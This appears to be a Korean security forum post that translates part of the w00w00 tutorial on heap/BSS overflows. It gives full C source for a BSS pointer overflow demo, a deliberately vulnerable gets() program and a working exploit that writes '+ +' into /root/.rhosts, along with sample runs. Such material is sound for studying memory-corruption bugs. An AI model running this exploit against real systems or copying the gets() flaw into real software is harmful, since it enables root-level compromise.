security

Total 112
Today 0
profile_image
운영자
01-02-06 09:26 0개 2,418회
Heap based Overflow --(2 )
이번 주에는 소스코드 중 목차 2.2, 2.3 에 해당하는 내용을 발송해 드립니다.





contents



0. Heap and Data/BSS section



1. Why Heap/BSS Overflows are Significant?



2. Exploiting Heap/BSS Overflows (source code)

2.1 Prelude of heap based overflow

2.2 Getting close

2.3 The First Chase

2.4 Playing with function pointers

2.5 Longjmp



3. The Preys



--------------------------------------------------------------------------------



2.2 Getting Close



/* demonstrates static pointer overflow in bss (uninitialized data) */



#include

#include

#include

#include

#include



#define BUFSIZE 16

#define ADDRLEN 4 /* # of bytes in an address */



int main()

{

u_long diff;

static char buf[BUFSIZE], *bufptr;



bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;



printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",

&bufptr, bufptr, buf, diff, diff);



memset(buf, 'A', (u_int)(diff + ADDRLEN));



printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytesn",

&bufptr, bufptr, buf, diff, diff);



return 0;

}





다음을 compile해서 실행시켜보면,



[root /w00w00/heap/examples/basic]# ./heap3

bufptr (0x804a860) = 0x804a850, buf = 0x804a850, diff = 0x10 (16) bytes

bufptr (0x804a860) = 0x41414141, buf = 0x804a850, diff = 0x10 (16) bytes

의 결과를 얻는다.



여기서 pointer가 원래의 위치와는 다른 곳을 가리키고 있음을 알게 된다. 이 방법을 사용하는 한 예는 temporary filename pointer가 argv[1]를 가리키도록 만들어 줄 수 있다. (argv[1]인 이유? .. 우리가 마음대로 넣어 줄 수 있는 값)







--------------------------------------------------------------------------------

2.3 The First Chase



다음 예는 /root/.rhosts 를 바꿔치는 example이다.



vulnerable program을 하나 만들어 주고 이를 exploit하는 예이다.



/*

* This is a typical vulnerable program. It will store user input in a temporary file.

*

* Compile as: gcc -o vulprog1 vulprog1.c

*/



#include

#include

#include

#include

#include



#define ERROR -1

#define BUFSIZE 16



/*

* Run this vulprog as root or change the "vulfile" to something else.

* Otherwise, even if the exploit works, it won't have permission to

* overwrite /root/.rhosts (the default "example").

*/



int main(int argc, char **argv)

{

FILE *tmpfd;

static char buf[BUFSIZE], *tmpfile;



if (argc <= 1)

{

fprintf(stderr, "Usage: %s n", argv[0]);

exit(ERROR);

}



tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */

printf("before: tmpfile = %sn", tmpfile);



printf("Enter one line of data to put in %s: ", tmpfile);

gets(buf);



printf("nafter: tmpfile = %sn", tmpfile);



tmpfd = fopen(tmpfile, "w");

if (tmpfd == NULL)

{

fprintf(stderr, "error opening %s: %sn", tmpfile,

strerror(errno));



exit(ERROR);

}



fputs(buf, tmpfd);

fclose(tmpfd);

}





위 프로그램은 여러 프로그램에서 "자주" 그리고 자연스럽게 나타나는 예이다. 물론 이와 같은 프로그램이 (또 이 프로그램 역시) setuid나 root-owned daemon server가 아니길...







다음 code는 위의 프로그램을 exploit하는 프로그램이다.



/*

* Copyright (C) January 1999, Matt Conover & WSD

*

* This will exploit vulprog1.c. It passes some arguments to the

* program (that the vulnerable program doesn't use). The vulnerable

* program expects us to enter one line of input to be stored

* temporarily. However, because of a static buffer overflow, we can

* overwrite the temporary filename pointer, to have it point to

* argv[1] (which we could pass as "/root/.rhosts"). Then it will

* write our temporary line to this file. So our overflow string (what

* we pass as our input line) will be:

* + + # (tmpfile addr) - (buf addr) # of A's | argv[1] address

*

* We use "+ +" (all hosts), followed by '#' (comment indicator), to

* prevent our "attack code" from causing problems. Without the

* "#", programs using .rhosts would misinterpret our attack code.

*

* Compile as: gcc -o exploit1 exploit1.c

*/



#include

#include

#include

#include



#define BUFSIZE 256



#define DIFF 16 /* estimated diff between buf/tmpfile in vulprog */



#define VULPROG "./vulprog1"

#define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */



/* get value of sp off the stack (used to calculate argv[1] address) */

u_long getesp()

{

__asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */

}



int main(int argc, char **argv)

{

u_long addr;



register int i;

int mainbufsize;



char *mainbuf, buf[DIFF+6+1] = "+ +t# ";



/* ------------------------------------------------------ */

if (argc <= 1)

{

fprintf(stderr, "Usage: %s [try 310-330]n", argv[0]);

exit(ERROR);

}

/* ------------------------------------------------------ */



memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +t# ");



memset(buf + strlen(buf), 'A', DIFF);

addr = getesp() + atoi(argv[1]);



/* reverse byte order (on a little endian system) */

for (i = 0; i < sizeof(u_long); i++)

buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);



mainbufsize = strlen(buf) + strlen(VULPROG) +

strlen(VULPROG) + strlen(VULFILE) + 13;



mainbuf = (char *)malloc(mainbufsize);

memset(mainbuf, 0, sizeof(mainbuf));



snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %sn",buf, VULPROG, VULFILE);



printf("Overflowing tmpaddr to point to %p, check %s after.nn",addr, VULFILE);



system(mainbuf);

return 0;

}



이를 다음과 같이 실행시키면,







[root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 320

Overflowing tmpaddr to point to 0xbffffd60, check /root/.rhosts after.



before: tmpfile = /tmp/vulprog.tmp

Enter one line of data to put in /tmp/vulprog.tmp:

after: tmpfile = /vulprog1



Well, we can see that's part of argv[0] ("./vulprog1"), so we know we are

close:

[root /w00w00/heap/examples/vulpkgs/vulpkg1]# ./exploit1 330

Overflowing tmpaddr to point to 0xbffffd6a, check /root/.rhosts after.



before: tmpfile = /tmp/vulprog.tmp

Enter one line of data to put in /tmp/vulprog.tmp:

after: tmpfile = /root/.rhosts

[root /tmp/heap/examples/advanced/vul-pkg1]#





이 exploit은 vulprog가 gets를 사용하기 때문에 (bound 를 check하지 않음) 이를 이용하여 buffer를 overflow시킨다. 그리고 이 buffer뒤 vulprog의 argv[1]의 주소를 대략 추측해서 집어 넣는다. 따라서 overflowed buffer 와 tmpfile pointer 사이의 모든 것들이 overwrite 된다. tmpfile의 pointer address는 임의의 갯수의 A를 보내서 얼마나 많은 A가 tmpfile의 pointer address에 닿는데 필요한가를 세어 대략적으로 추측할 수 있다. 만약 이러한 취약점을 가진 프로그램의 소스를 가지고 있다면 printf를 집어 넣어서 overflowed data 와 target data 사이의 address/offset 을 찍어 볼수도 있다. (i.e., 'printf("%p - %p = 0x%lx bytesn", buf2, buf1, (u_long)diff').



그러나 offset은 compile할 때 변하며 따라서 우리는 다시 offset을 계산해 주거나 추측하거나 아니면 무식한!! 방법을 동원해서 찾아야 한다.



note) 이제까지의 예들은 심지어 excutable한 heap도 필요하지 않는다. 이 예들은 address의 byte order문제만을 제외하고는 system/architecture independent하다.

댓글목록

등록된 댓글이 없습니다.